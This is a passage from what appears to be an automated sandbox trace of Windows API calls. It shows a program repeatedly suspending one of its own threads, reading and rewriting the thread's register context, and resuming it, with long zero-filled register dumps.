[121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0124.388] ResumeThread (hThread=0x130) returned 0x1
[0124.388] CloseHandle (hObject=0x130) returned 1
[0124.388] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.426] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.467] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.543] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.620] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0124.620] SuspendThread (hThread=0x130) returned 0x0
[0124.620] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147bb0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15c4d40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0124.700] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147ba8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0124.781] ResumeThread (hThread=0x130) returned 0x1
[0124.781] CloseHandle (hObject=0x130) returned 1
[0124.781] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.833] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.870] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0124.948] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.025] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0125.025] SuspendThread (hThread=0x130) returned 0x0
[0125.025] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147be8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15ea500, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0125.102] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147be0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0125.169] ResumeThread (hThread=0x130) returned 0x1
[0125.169] CloseHandle (hObject=0x130) returned 1
[0125.169] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.203] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.237] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.320] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0125.403] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0125.403] SuspendThread (hThread=0x130) returned 0x0
[0125.403] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147be8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15ffd20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, 